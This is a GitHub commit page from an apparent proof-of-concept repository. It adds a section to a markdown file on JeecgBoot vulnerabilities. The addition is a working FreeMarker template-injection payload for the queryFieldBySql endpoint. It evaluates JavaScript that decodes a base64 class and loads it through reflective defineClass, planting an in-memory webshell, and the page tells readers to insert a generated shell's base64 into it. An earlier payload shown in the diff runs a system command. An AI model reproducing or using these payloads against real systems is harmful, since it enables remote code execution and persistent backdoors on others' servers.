Skip to content

Commit

Permalink
Update JeecgBoot漏洞.md
Browse files Browse the repository at this point in the history
  • Loading branch information
wy876 authored Jun 28, 2024
1 parent f814203 commit f8dd5d2
Showing 1 changed file with 13 additions and 0 deletions.
13 changes: 13 additions & 0 deletions JeecgBoot漏洞.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,19 @@ Content-Length: 123
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a calculator.app \") }' "}
```
## queryFieldBySql 注入内存马
```
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='这里填入base64的内存马';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}
```
使用内存马工具生成payload,将生成的base64格式的内存马 替换payload 中bytecodeBase64的值

![image](https://github.com/wy876/POC/assets/139549762/55a9877c-c111-4897-a665-8f58e9de5300)

![image](https://github.com/wy876/POC/assets/139549762/03a476fa-7d2a-4221-9c96-c5b60040adfd)

![image](https://github.com/wy876/POC/assets/139549762/24b6b0b2-419c-43d1-a0c8-8ced440e0a79)

内存马路径:`http://192.168.18.131:8080/jeecg-boot/jmreport/queryFieldBySql/`

## JeecgBoot SSTI 漏洞
```
Expand Down

0 comments on commit f8dd5d2

Please sign in to comment.